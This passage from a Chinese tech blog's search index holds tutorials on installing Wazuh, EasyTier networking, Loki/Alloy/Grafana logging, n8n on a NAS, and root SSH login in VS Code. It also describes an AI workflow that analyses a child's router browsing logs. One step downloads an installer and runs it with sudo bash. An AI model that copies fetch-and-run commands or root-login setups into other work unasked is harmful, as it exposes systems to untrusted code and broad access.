Wazuh 的中心组件需要 64 位 Intel、AMD 或 ARM Linux 处理器（x86_64/AMD64 或 AARCH64/ARM64 架构）来运行。Wazuh 推荐以下任何一种操作系统版本：\nAmazon Linux 2，Amazon Linux 2023 CentOS 7，8 CentOS Stream 10 Red Hat Enterprise Linux 7，8，9，10 Ubuntu 16.04，18.04，20.04，22.04，24.04 2、快速安装 Wazuh的安装很简单，直接执行以下命令即可。\n1 curl -sO https://packages.wazuh.com/4.13/wazuh-install.sh \u0026amp;\u0026amp; sudo bash ./wazuh-install.sh -a 命令执行完成，输出将显示访问用户名密码，并显示确认安装成功的消息。\n1 2 3 4 5 INFO: --- Summary --- INFO: You can access the web interface https://\u0026lt;WAZUH_DASHBOARD_IP_ADDRESS\u0026gt; User: admin Password: \u0026lt;ADMIN_PASSWORD\u0026gt; INFO: Installation finished. 通过web界面就可以访问安装好的wazuh 输入用户名和密码就可以登录到wazuh 3、修改密码 wazuh安装后会默认给个admin的密码，这个密码比较长也不好记忆。可以通过以下命令对admin的默认密码进行修改。\n1 bash wazuh-passwords-tool.sh -u admin -p Secr3tP4ssw*rd 4、安装EDR的agent Wazuh代理是一种单一且轻量级的监控软件。它是一个多平台组件，可以部署到笔记本电脑、台式机、服务器、云实例、容器或虚拟机。它通过收集关键系统和应用记录、库存数据以及检测异常，为端点的安全性提供可见性。 在wazuh的dashboard界面，找到Agents summary 点击进去后，点击“Deploy new agent” 安装新的agent代理 将显示agent安装的向导界面。 选择目标主机的操作系统，填写wazuh的服务的IP后，将自动生成安装agent的脚本命令。 在目标主机上直接执行命令就可以成功将agent安装。 通过以下命令启动wazuh-agent\n1 2 3 sudo systemctl daemon-reload sudo systemctl enable wazuh-agent sudo systemctl start wazuh-agent 再通过 sudo systemctl status wazuh-agent 查看wazuh-agent的运行状态。 5、验证EDR的效果 wazuh-agent安装完后，就可以在wazuh的dashbord中看到agent采集到的相应的安全风险概览数据了。 总结与建议 总的来说，Wazuh是一个功能全面、可扩展性强的开源安全平台，特别适合那些希望构建统一、高效且成本可控的安全运营体系的企业或技术团队。后续我将通过一系列POC来验证wazuh的能力。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-09-29-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E5%AE%89%E8%A3%85%E4%B8%8E%E9%85%8D%E7%BD%AE/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\u003c/p\u003e","title":"开源安全管理平台wazuh-安装与配置"},{"content":"玩NAS的小伙伴在安装完NAS系统后都在折腾“回家”，NAS是放在家里的设备，如何在外面方便的访问家里的主机设备是很多小伙伴面临的课题。“回家”的办法有很多，今天主要介绍我个人觉得很方便的Easytier来快速实现异地组网在外面访问家里的设备。\n一、什么是Easytier EasyTier 是一款简单、安全、去中心化的内网穿透和异地组网工具，适合远程办公、异地访问、游戏加速等多种场景。无需公网 IP，无需复杂配置，轻松实现不同地点设备间的安全互联。\n二、飞牛NAS安装Easytier 在飞牛NAS的镜像仓库中找到下载量最大的easytier斤镜像进行安装 在启动容器时设置使用高权限执行容器 在“命令”输入框中输入\n1 2 3 4 5 --network-name \u0026lt;你的虚拟网络名称\u0026gt; --network-secret \u0026lt;你的网络密码，随便输入，后面加入网络的要用到\u0026gt; -p tcp://public.easytier.top:11010 --ipv4 10.10.10.3 -n 192.168.0.0/24(这里换成自己的内网的网段) 这是一个用于连接到一个现有 EasyTier 网络的客户端节点的典型配置。 参数详解 --network-name 你的虚拟网络名称 含义： 指定要加入的虚拟网络的名称。 解释： 所有要组成同一个虚拟局域网（VLAN）的节点（客户端和超级节点）必须使用完全相同的网络名称。如网络名为 xiejava。这相当于一个共享的“房间号”或“频道号”，只有名称相同的节点才能互相发现和通信。 --network-secret 你的网络密码 含义： 用于验证和加密网络通信的密钥（密码）。 解释： 所有加入同一网络的节点必须使用完全相同的密钥。它有两个主要作用： 身份认证： 防止未经授权的节点随意加入你的私有网络。 通信加密： 对节点之间传输的数据进行加密，保障通信安全。因此，一个强密码非常重要。 -p tcp://public.easytier.top:11010 含义： 指定要连接的上层节点（Super Node）的地址。 解释： -p 是 \u0026ndash;peer 的简写形式。 tcp:// 表示使用 TCP 协议进行连接。 public.easytier.top:11010 是超级节点的地址和端口。这是一个部署在公网上的服务器，它的作用是帮助位于不同内网中的客户端节点（比如你的这台机器）进行“打洞”和中转连接。 简单来说，这个参数告诉你的客户端：“请去这个地址找中介服务器，它会帮你联系网络里的其他伙伴。” --ipv4 10.10.10.3 含义： 指定本节点在虚拟网络中使用的静态 IPv4 地址。 解释： 加入虚拟网络后，你的机器会拥有两个IP地址：一个是物理网卡的真实地址（如 192.168.1.100），另一个就是这个虚拟地址 10.10.10.3。网络中的其他设备将通过这个 10.10.10.3 的地址来访问你的机器。使用静态IP可以方便地管理和访问特定的设备。 -n 192.168.0.0/24 含义： 为虚拟网络添加一条静态路由规则。 解释： -n 是 \u0026ndash;route 的简写形式，用于添加路由。 192.168.0.0/24 是一个网段。这条命令的意思是：“所有发往 192.168.0.0/24 这个网段的数据包，都请通过本机的 EasyTier 虚拟网卡发送（即通过 EasyTier 虚拟网络来路由）。” 用途： 假设你家里的本地局域网网段是 192.168.0.0/24，你在这台机器上添加了这条路由。那么，当网络中的其他节点（如 10.10.10.2）想访问你内网的服务器（如 192.168.0.100）时，它们的数据包会发到你这台机器（10.10.10.3），然后由你这台机器利用本地物理网络转发到 192.168.0.100。这样就实现了从异地访问公司内网资源的功能。这通常是在作为“网关”或提供路由服务的节点上配置的。 配置总结 这条完整的命令配置了一个 EasyTier 客户端，其作用是：\n加入一个名为 “虚拟网络名”、密码为 “你的虚拟网络密码” 的私有虚拟网络。 通过连接公网上的超级节点 public.easytier.top:11010 来与其他节点建立联系。 它在本虚拟网络中的固定IP地址是 10.10.10.3。 它同时宣布了自己可以为整个虚拟网络提供到 192.168.0.0/24 网段的路由服务，其他节点要访问这个网段的数据都会经过它。 简单来说，将这台NAS机器作为家里网络内部的节点，它既加入了虚拟网络（地址 10.10.10.3），又扮演了让外部能够访问内部 192.168.0.x 服务器的“网关”角色。\n三、Easytier快速组网异地访问 Easytier提供了多种符合各类操作系统的工具包括linux、window、MacOS、Android 等，下面以window为例，到官网https://easytier.rs/guide/download.html下载window的Easytier GUI。 在window机器上进行安装后打开Easytier GUI界面进行设置 在网络名称和网络密码中分别设置成在飞牛NAS中Easytier docker容器中命令中指定的网络名称和网络密码。 设置完成后点击“运行网络”，稍等一会就发现节点信息中本机和飞牛NAS中的easytier都连上来了。 可以看到运行window的Easytier GUI的机器在外面连的是手机热点的网络，可以ping通家里内网的IP，可以畅快的访问家里的网络了。 四、Easytier的适用场景 远程办公：让公司、家中和外地的电脑像在同一局域网一样互通。 异地访问：随时随地安全访问家中 NAS、服务器或其他设备。 游戏加速：组建虚拟局域网，畅玩联机游戏。 物联网组网：让分布在不同地点的设备安全互联。 作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-08-30-easytier%E5%BF%AB%E9%80%9F%E5%AE%9E%E7%8E%B0%E5%BC%82%E5%9C%B0%E7%BB%84%E7%BD%91/","summary":"\u003cp\u003e玩NAS的小伙伴在安装完NAS系统后都在折腾“回家”，NAS是放在家里的设备，如何在外面方便的访问家里的主机设备是很多小伙伴面临的课题。“回家”的办法有很多，今天主要介绍我个人觉得很方便的Easytier来快速实现异地组网在外面访问家里的设备。\u003c/p\u003e","title":"Easytier快速实现异地组网"},{"content":"近期小孩放假在家，发现晚上还抱着平板不放，每天搞到凌晨。这得要劝说有正常的作息时间，少拿平板做与学习无关的事情，但又不能强制拿平板检查看在哪些时间段都在干啥。于是为了搞清楚其凌晨上网都在干啥，我建了一套AI上网行为分析系统，随时收到上网行为的分析报告。\n原理很简单，通过Alloy采集路由器的上网行为日志，用Loki进行日志存储，然后通过n8n建立AI分析工作流，通过Loki的API接口定期获取上网行为日志，给AI大模型进行分析整理然后自动将上网行为分析结果整理发邮件出来。\n原理图如下：\n接下来看如何实现的完整过程。\n一、上网行为的日志采集 要采集上网行为的日志，需要在路由器上进行配置，将上网行为的日志通过syslog的方式外发出来。这里可以参考《通过TPLink路由器进行用户行为审计实战》 另外需要有一套日志分析系统进行采集、存储。这里可以参考《Loki+Alloy+Grafana构建轻量级的日志分析系统》\n二、上网行为的自动分析 基于前面介绍的采集到的上网行为数据，我们基于n8n来构建利用LLM大模型的分析能力实现上网行为的分析和整理。 关于如何搭建本地的n8n平台可以参考《飞牛NAS本地化部署n8n打造个人AI工作流中心》 整个n8n的工作流如下图所示：\n1、获取上网行为的数据(HTTP Request) n8n提供了Http Request节点，可以很方便的调用Http的API接口获取数据。而Loki也是很贴心的提供Http的API接口进行数据的查询。 n8n的Http Request节点配置如下，通过Get方法调用loki的查询接口地址http://192.168.0.30:3100/loki/api/v1/query_range，查询条件设置{exporter=\u0026quot;OTLP\u0026quot;} != \u0026quot;apptype:网络基础协议\u0026quot; 意思是排除掉apptype:网络基础协议，因为这部分不是用户的上网行为信息。设置查近2个小时的2000条日志信息。因为用的是开源LLM大模型，一次性处理token的数量有限。如果模型能力强可以设置查更多的数据。\n点击“Execute step”就可以看到通过loki的API接口查到的上网行为的结果数据。\n2、通过AI智能体进行行为分析(AI Agent) 我们要将上网行为的数据交给LLM大模型来进行分析，所以要引入AI智能体的节点。在AI Agent接口，把HTTP Request的结果给AI Agent，然后给出提示词。提示词就是告诉AI大模型要做什么。 我的提示词如下：\n“你是一个安全分析专家，根据日志信息能够分析用户的异常行为，请根据得到信息进行用户行为分析，分析发现是否有异常的行为。请特别注意分析凌晨0点至5点时间段，如有用户在此时间段有上网行为，请详细分析在该时间段用了多少时间做了什么。”\n在这里我用的大模型是google的Gemini2.5flash。\n配置Gemini2.5flash的API key就可以使用了Gemini2.5了。如何白嫖Gemini可以参考《国内免代理免费使用Gemini大模型实战》和《使用Gemini Balance让Gemini免费到底》\n当然也可以配置成其他的大模型。\n3、整理分析结果(Markdown) 通过Markdown节点将大模型分析出来的结果进行美化整理成HTML的格式\n4、自动发邮件报告(Send Mail) 加入自动发邮件的节点，将用户上网行为的分析报告通过邮件的方式发送出来。 配置SMTP account信息。 关于如何配置SMTP 信息可以参考以前的博文《通过Django发送邮件》里面有详细的介绍。\n配置邮件的发送者和接收者，邮件主题等信息。\n5、配置AI工作流定时启动(Schedule Trigger) 将n8n的工作流配置为Schedule Trigger根据周期定时触发，我这里设置的是每两个小时触发一次。\n三、上网行为分析报告及效果 将n8n的工作流激活后，AI用户上网行为分析系统就开始勤勤恳恳的工作了。\n每两个小时从路由器获取上网行为的日志，通过大模型进行上网行为的分析，整理后自动发邮件进行报告了。\n最后看一下经过大模型分析的上网行为分析报告\n也可以配置到网易邮箱大师通过手机收到上网行为分析报告的邮件通知了。\n至此，我们通过综合运用alloy+loki构建了日志采集系统采集路由器的用户行为日志，通过n8n构建AI工作流调用Gemini大模型进行用户行为的分析自动发送上网行为的分析报告，构建了自动化的上网行为分析系统。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-08-10-%E4%B8%BA%E6%90%9E%E6%B8%85%E6%A5%9A%E5%87%8C%E6%99%A8%E4%B8%8A%E7%BD%91%E9%83%BD%E5%9C%A8%E5%B9%B2%E5%95%A5%E6%88%91%E5%BB%BA%E4%BA%86%E4%B8%80%E5%A5%97ai%E4%B8%8A%E7%BD%91%E8%A1%8C%E4%B8%BA%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e近期小孩放假在家，发现晚上还抱着平板不放，每天搞到凌晨。这得要劝说有正常的作息时间，少拿平板做与学习无关的事情，但又不能强制拿平板检查看在哪些时间段都在干啥。于是为了搞清楚其凌晨上网都在干啥，我建了一套AI上网行为分析系统，随时收到上网行为的分析报告。\u003c/p\u003e","title":"为搞清楚凌晨上网都在干啥，我建了一套AI上网行为分析系统"},{"content":"在现代运维和开发流程中，日志分析是故障排查、性能优化的核心环节。传统的日志系统（如 ELK Stack）虽功能强大，但资源消耗高、配置复杂，对中小规模环境或边缘设备不够友好。Loki+Alloy+Grafana组合则以 “轻量级、低成本、易部署” 为核心优势，成为替代方案的理想选择。\n典型的基于 Loki 的日志记录技术栈由 3 个组件组成：\nLoki：Grafana Labs 开源的日志聚合系统，借鉴 Prometheus 设计理念，仅索引日志元数据（标签）而非全文，大幅降低存储和计算开销。 Alloy：代理或客户端，Grafana 官方推荐的新一代数据采集器Alloy（替代 Promtail），支持日志、指标、追踪多信号采集，配置灵活且资源占用低。 Grafana：强大的可视化平台，原生支持 Loki 数据源，提供丰富的日志查询、过滤和仪表盘功能。 对网络设备、安全设备等的告警日志进行分析是在网络运维和安全运营中经常遇到的场景，我们可以通过Loki+Alloy+Grafana来搭建一套轻量级的日志分析系统来收集各类网络设备、安全设备的日志进行分析。现在就以采集TP-Link路由器的上网行为日志为例来构建这套日志分析系统。\n本文将详细介绍在Ubuntu 24.04 LTS环境中，从零搭建这套日志分析系统的全过程，确保每个步骤可操作、可复现。\n环境准备：Ubuntu 24.04 系统配置 系统要求\n硬件：2 核 CPU、4GB 内存、20GB 磁盘（日志存储根据需求调整） 系统：Ubuntu 24.04 LTS（已更新至最新版本） 权限：sudo 权限（用于安装软件和配置服务） 根据Grafana官网的建议步骤，先安装Loki，再部署采集代理Alloy,再部署Grafana，通过Grafana来分析日志。\n部署Loki日志存储系统 Loki 是日志的 “后端存储”，负责接收、存储日志并响应查询请求。采用二进制方式部署，步骤如下：\n1. 下载Loki二进制文件 通过 GitHub API 获取Loki的二进制安装包：\n1 2 3 4 5 6 7 8 9 10 # 创建Loki安装目录并下载二进制包 这里安装的是3.5.1 sudo mkdir -p /opt/loki /etc/loki wget -qO /opt/loki/loki-linux-amd64.zip \u0026#34;https://github.com/grafana/loki/releases/download/v3.5.1/loki-linux-amd64.zip\u0026#34; # 解压并设置可执行权限 sudo unzip -d /opt/loki /opt/loki/loki-linux-amd64.zip \u0026amp;\u0026amp; rm /opt/loki/loki-linux-amd64.zip sudo chmod a+x /opt/loki/loki-linux-amd64 # 创建软链接，方便全局调用 sudo ln -s /opt/loki/loki-linux-amd64 /usr/local/bin/loki 查看Loki版本 loki --version\n1 2 3 4 5 6 7 loki --version loki, version 3.5.1 (branch: release-3.5.x, revision: d4e637ce) build user: root@ceaea196ea87 build date: 2025-05-19T17:06:03Z go version: go1.24.1 platform: linux/amd64 tags: netgo 2. 配置 Loki 使用官方提供的本地存储配置文件，创建 Loki 配置目录并下载默认配置文件：\n1 2 sudo mkdir -p /etc/loki sudo wget https://raw.githubusercontent.com/grafana/loki/v3.5.1/cmd/loki/loki-local-config.yaml -O /etc/loki/config.yaml 3. 创建 Systemd 服务 为 Loki 创建系统服务，确保开机自启和进程管理：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 sudo tee /etc/systemd/system/loki.service \u0026lt;\u0026lt;EOF Description=Grafana Loki Log Aggregation System After=network.target [Service] Type=simple ExecStart=/usr/local/bin/loki -config.file=/etc/loki/config.yaml Restart=on-failure User=root [Install] WantedBy=multi-user.target EOF# 重载systemd配置并启动Loki sudo systemctl daemon-reload sudo systemctl start loki sudo systemctl enable loki # 验证服务状态（应显示active (running)） sudo systemctl status loki 可以使用 journalctl -u loki -f 查看 Loki 日志以进行故障排除\n4. 验证 Loki 运行 通过 HTTP 接口检查 Loki 状态：\n1 curl http://127.0.0.1:3100/ready 预期输出：ready（表示 Loki 已就绪）\n部署配置Alloy Alloy 是连接日志源与 Loki 的 “桥梁”，负责采集服务器本地日志并发送到 Loki。作为 Grafana Agent 的替代者，Alloy 配置更灵活，支持多信号采集。\n1. 安装 Alloy 通过 Grafana 官方仓库安装 Alloy（与 Grafana 使用同一仓库，无需重复添加）：\n1 2 3 4 5 # 安装Alloy包 sudo apt install -y alloy # 验证安装 alloy --version 2. 配置 Alloy 收集日志 Alloy 使用声明式配置文件定义采集规则，默认路径为/etc/alloy/config.alloy。我们需配置： 1、 通过syslog采集；2、对日志中的IP进行提取；3、 将日志转发到 Loki。 创建配置文件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 otelcol.receiver.syslog \u0026#34;local\u0026#34; { udp { listen_address = \u0026#34;0.0.0.0:514\u0026#34; encoding = \u0026#34;GBK\u0026#34; } output { logs = [otelcol.exporter.loki.local.input] } } otelcol.exporter.loki \u0026#34;local\u0026#34; { forward_to = [loki.process.extract_ip.receiver] } loki.process \u0026#34;extract_ip\u0026#34; { stage.regex { expression = \u0026#34;a:(?P\u0026lt;ip\u0026gt;\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})\u0026#34; } stage.labels { values = { ip = \u0026#34;ip\u0026#34;, } } forward_to = [loki.write.local.receiver] } loki.write \u0026#34;local\u0026#34; { endpoint { url = \u0026#34;http://localhost:3100/loki/api/v1/push\u0026#34; } } 配置说明：\nalloy目前对syslog支持并不是特别好，经过多次尝试，用alloy的syslog组件不能支持中文编码，所以改用通过otelcol的syslog来采集日志。 listen_address = \u0026ldquo;0.0.0.0:514\u0026rdquo; 表示监听所有源的514端口来的upd数据。\n3. 启动 Alloy 服务 1 2 3 4 5 # 启动Alloy并设置开机自启 sudo systemctl enable --now alloy # 验证服务状态（应显示active (running)） sudo systemctl status alloy 排查提示若启动失败，通过sudo journalctl -u alloy -f查看日志，常见问题：配置文件语法错误、Loki未启动导致连接失败\n部署Grafana Grafana 是整个系统的 “前端”，用于日志查询和可视化。通过官方仓库安装可确保自动更新。\n1. 添加 Grafana 官方仓库 1 2 3 4 5 # 导入Grafana GPG密钥（用于验证包完整性） wget -q -O - https://apt.grafana.com/gpg.key | gpg --dearmor | sudo tee /etc/apt/keyrings/grafana.gpg \u0026gt; /dev/null # 添加Grafana OSS仓库（稳定版） echo \u0026#39;deb [signed-by=/etc/apt/keyrings/grafana.gpg] https://packages.grafana.com/oss/deb stable main\u0026#39; | sudo tee /etc/apt/sources.list.d/grafana.list 2. 安装并启动 Grafana 1 2 3 4 5 6 7 8 # 更新包索引并安装Grafana sudo apt update \u0026amp;\u0026amp; sudo apt install -y grafana # 启动Grafana服务并设置开机自启 sudo systemctl enable --now grafana-server # 验证服务状态（应显示active (running)） sudo systemctl status grafana-server 3. 验证 Grafana 安装 打开浏览器访问 http://\u0026lt;服务器IP\u0026gt;:3000，首次登录使用默认凭据：\n用户名：admin 密码：admin 首次登录会要求修改密码，按提示设置新密码即可。\n接入数据源 1. 在发送端配置采集器的地址 这里我们要接入和分析TP-Link路由器的上网行为日志。所以要在路由器上配置将日志发送到alloy采集节点的服务器。具体的TP-Link路由器的上网行为分析审计的配置参考《通过TPLink路由器进行用户行为审计实战》\n2. 在采集端看是否收到数据 通过tcpdump命令查看采集节点是否有日志数据进来\n1 tcpdump -i ens2 -A port 514 这里可以看到有日志数据通过ens2网卡的514端口进来了。\n用Grafana查询和分析数据 在用Grafana进行查询之前先要配置Grafana的数据源添加loki的数据源\n在loki的数据源中设置loki的连接地址\n设置完成后就可以用Grafana强大的分析查询和可视化来对日志进行分析了。\n通过本文步骤，我们在 Ubuntu 24.04 上构建了 Loki+Alloy+Grafana 日志分析系统：\nLoki 负责高效存储日志，仅索引元数据降低开销； Alloy 轻量采集系统日志，配置灵活易扩展； Grafana 提供强大的日志查询与可视化能力（支持 LogQL、仪表盘、告警）。\n该架构资源占用低（单节点最低 2 核 4GB 内存即可运行），适合中小规模环境、边缘设备或开发测试场景。后续可扩展至多节点 Loki 集群、添加日志告警规则，或集成 Prometheus 监控指标，构建完整的可观测性平台。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-08-10-loki-alloy-grafana%E6%9E%84%E5%BB%BA%E8%BD%BB%E9%87%8F%E7%BA%A7%E7%9A%84%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e在现代运维和开发流程中，日志分析是故障排查、性能优化的核心环节。传统的日志系统（如 ELK Stack）虽功能强大，但资源消耗高、配置复杂，对中小规模环境或边缘设备不够友好。Loki+Alloy+Grafana组合则以 “轻量级、低成本、易部署” 为核心优势，成为替代方案的理想选择。\u003c/p\u003e","title":"Loki+Alloy+Grafana构建轻量级的日志分析系统"},{"content":"由于linux服务器大部分都是基于命令行的操作，缺乏比较方便好用的编辑工具，对于经常在linux服务器上做开发的同学来说直接在服务器上进行开发或配置文件的修改还不是特别的方便。虽然linux上有vi或vim比起图形化的编辑工具体验感还是不是很好。作为程序员常用的宇宙第一的VScode就提供了相应的插件可以通过ssh远程连接到服务器上直接编辑服务器上相应的文件，极大提高了在服务器上开发或修改配置文件的效率和体验感。本文就来介绍通过VScode对Ubuntu用root账号进行SSH远程连接直接在服务器上进行开发。\n一、安装VScode的ssh扩展插件 Remote-SSH 扩展 允许你将任何带有 SSH 服务器的远程机器用作你的开发环境。这可以在多种情况下极大地简化开发和故障排除：\n在部署目标操作系统上开发​，或者使用比本地机器更大、更快或更专业化的硬件进行开发。 轻松切换不同的远程开发环境，并安全地进行更新​，而无需担心影响本地机器。 从多台机器或不同位置访问现有的开发环境。 调试运行在其他地方（例如客户现场或云端​）的应用程序。 在VScode的编辑器界面在Extension中搜索ssh排名前三的Remote-SSH、Remote - SSH: Editing Configuration Files、Remote Explorer是微软官方的ssh扩展插件，都安装一下。\n安装好了后就会在左侧的导航看到Remote Exploer\n在SSH中点“+” 后就可以在上面的导航输入框中输入要ssh连接服务器的命令。如:ssh xiejava@192.168.0.30 意思就是通过xiejava的用户名ssh登录到192.168.0.30的服务器。\n输入正确的口令后，表示服务器的图标变亮就意味着已经通过SSH连上了服务器了。\n连上服务器后就可以通过命令来对服务器进行操作，也可以直接打开服务器上的文件进行操作了。\n这样就可以直接在服务器上直接编辑文件，直接在命令行中输入命令执行，直接看到执行结果，简直不要太爽。\n一般的教程到这里就结束了。但是有些Linux是默认不能使用root用户登录的如Ubuntu，如果不用root用户登录只能访问到登录用户的文件夹，如我是用xiejava登录的就只能访问到/home/xiejava的目录，只能在这个目录下新建和编辑相应的文件，而且每次打开编辑操作文件都要输入登录密码，作为服务器上的开发来说这显然是不可接受的。所以我们要用root账号进行ssh进行远程连接。\n二、开启Ubuntu的root账号免密登录 1、生成SSH密钥对，并部署到服务器 要使 root 用户成功登录，需先在客户端生成 SSH 密钥对，并将公钥部署到服务器：\n客户端生成密钥 (在本地PC执行)： 1 ssh-keygen -t ed25519 -C \u0026#34;root_ssh_key\u0026#34; 按提示选择保存路径（默认 C:\\Users\\你的用户名.ssh\\id_ed25519）。 连续按 3 次回车​，不设密码（实现完全免密） 最后在文件夹中生成SSH密钥对 部署公钥到服务器​： 登录 Ubuntu 创建 .ssh 目录并写入公钥 1 2 3 4 mkdir -p ~/.ssh echo \u0026#34;粘贴复制的公钥内容，也就是id_ed25519.pub文件里面的内容\u0026#34; \u0026gt;\u0026gt; ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys 2、测试免密登录 在 Windows PowerShell 执行：\n1 ssh 用户名@Ubuntu_IP 成功标志​：直接登录 Ubuntu，无需输入密码。 失败表现​：提示输入密码或返回 Permission denied。 3、启用root用户 使用当前具有 sudo 权限的用户登录系统。执行密码修改命令\n1 sudo passwd root 输入当前用户的密码​（用于 sudo 提权）。 输入新的 root 密码​（输入时不会显示字符）。 再次确认新密码。 禁用root密码登录（增强安全）​ 1 sudo vim /etc/ssh/sshd_config 设置PermitRootLogin prohibit-password 重启systemctl restart ssh\n4、找到本地的ssh配置文件并配置密钥登录 在vscode中点击SSH旁边的配置按钮就会出现ssh本地的配置文件，一般是C:\\Users\\你的用户名\\.ssh\\config\n在config文件中配置User root 和IdentityFile 密钥文件的路径。\n这样就可以通过root进入到任何目录操作编辑任何文件了。\n最后要提醒大家的是大家在修改任何配置文件的时候要注意备份和确认，因为获得了root权限可以操作编辑任何文件了。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-08-02-vscode%E5%AF%B9ubuntu%E7%94%A8root%E8%B4%A6%E5%8F%B7%E8%BF%9B%E8%A1%8Cssh%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5%E5%BC%80%E5%8F%91/","summary":"\u003cp\u003e由于linux服务器大部分都是基于命令行的操作，缺乏比较方便好用的编辑工具，对于经常在linux服务器上做开发的同学来说直接在服务器上进行开发或配置文件的修改还不是特别的方便。虽然linux上有vi或vim比起图形化的编辑工具体验感还是不是很好。作为程序员常用的宇宙第一的VScode就提供了相应的插件可以通过ssh远程连接到服务器上直接编辑服务器上相应的文件，极大提高了在服务器上开发或修改配置文件的效率和体验感。本文就来介绍通过VScode对Ubuntu用root账号进行SSH远程连接直接在服务器上进行开发。\u003c/p\u003e","title":"VScode对Ubuntu用root账号进行SSH远程连接开发"},{"content":"n8n是一个开源的工作流自动化工具，类似于Zapier和IFTTT，但它更加灵活和强大 。它允许用户通过图形化界面，以拖拽的形式构建自动化工作流，将不同的应用程序和服务连接起来，实现各种自动化任务 。 n8n最初的用途是自动化日常工作流，帮助用户节省时间，提高工作效率。在AI技术出现后，n8n更是成为了连接AI与数字世界的桥梁，因为它能够让AI与超过1000种不同的服务进行交互，几乎使AI能与赛博世界中的任何其他主体畅通无阻。\nn8n的主要优势包括：\n部署简单：支持Docker一键私有化部署，也提供云服务选项。 可接入服务强：集成了超过1000种第三方服务，且自部署版本具备丰富的本地调用能力，可以对本地数据库、文件等进行操作，甚至作为寄生系统为现有业务增添自动化和AI功能。 对大模型友好：内置图形可视化的LangChain节点，能够方便地集成各种AI模型、记忆、工具和解析器，支持BYOK（Bring Your Own Key）模式，即用户可以自备API Key来调用AI服务。 支持半封装模式：在低代码和代码之间实现了平衡。对于已有的节点，可以拖拽完成接入；对于没有现成节点的功能，支持通过HTTP Request接入几乎任何开放API的第三方服务。同时，其Code节点支持运行JavaScript和Python代码，非常适合与ChatGPT进行结对编程。 对于个人用户来说，在NAS（网络附加存储）上部署n8n具有多方面的优势：\n完全掌控数据和流程：n8n是开源的，可以选择将其部署在自己的NAS服务器上，从而完全掌控您的数据和自动化流程，无需担心数据泄露或被供应商锁定。 部署简单：n8n的部署过程相对简单，可以通过Docker一键私有化部署，即使是不懂代码的用户也能通过可视化的界面快速上手。 常态化运行：NAS通常是7x24小时开机的设备，结合n8n的AI工作流能力，可以帮助个人用户完成日常工作中大量的重复性劳动，例如自动生成日报、周报等，从而释放更多时间用于其他活动。 随时随地访问：NAS虽然部署在家里，但是一般都通过ddns或其他方式打通了与外网的连接，可以随时随地方便的构建和调试自己AI工作流应用。 本文就以我的飞牛NAS为例来部署n8n打造人工的AI工作流中心。\n一、下载n8n的镜像 在飞牛NAS的Docker镜像仓库中找到n8n的镜像，下载这个下载量和标星最多的n8nio/n8n的镜像。\n下载后就可以在飞牛NAS的本地镜像库中看到这个n8nio/n8n镜像。\n二、启动镜像创建n8n容器 点击本地n8nio/n8n镜像的启动按钮，弹出创建容器的配置界面，在配置界面中输入容器的名称n8n勾选开机自启动。\n在进行存储位置配置之前，在NAS的文件管理中创建用于存储n8n数据文件的文件夹。\n在创建容器详情的配置界面其他的配置项都可以默认，在存储位置的配置项中一定要配置将容器的存储空间映射到NAS上的文件夹，这个文件夹就是刚在NAS文件管理中建的文件夹（也就是将docker容器中的/home/node/.n8n映射到NAS中的n8n/n8n_data）。否则docker重启n8n的配置数据会丢失。\n配置完成后，勾选创建后启动容器，点击“创建”。容器创建启动后就可以通过本地的5678端口访问n8n的应用了。\n三、访问使用n8n 在浏览器中输入你的主机和端口就可以访问n8n，我这里是 http://192.168.0.18:5678/ 第一次访问有可能会出现如下图所示的提示，n8n用到了安全的cookie，要不就要配置HTTPS，要不就在环境变量中配置N8N_SECURE_COOKIE为false\n这里，我们在容器设置里添加变量，设置N8N_SECURE_COOKIE为false\n这样再次访问 http://192.168.0.18:5678/ 就可以正常访问了。第一次用n8n要设置自己的用户名和密码。\n设置完用户名密码就可以使用n8n了。\n我们可以导入一个已经配置好的n8n工作流实例。\n可以看到正常导入，将配置修改为自己的配置就可以直接使用别人已经配置好的工作流了。\n至此我们在飞牛NAS上成功部署了n8n，可以方便的随时随地构建自己的AI工作流应用了。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-07-27-%E9%A3%9E%E7%89%9Bnas%E6%9C%AC%E5%9C%B0%E5%8C%96%E9%83%A8%E7%BD%B2n8n%E6%89%93%E9%80%A0%E4%B8%AA%E4%BA%BAai%E5%B7%A5%E4%BD%9C%E6%B5%81%E4%B8%AD%E5%BF%83/","summary":"\u003cp\u003en8n是一个开源的工作流自动化工具，类似于Zapier和IFTTT，但它更加灵活和强大 。它允许用户通过图形化界面，以拖拽的形式构建自动化工作流，将不同的应用程序和服务连接起来，实现各种自动化任务 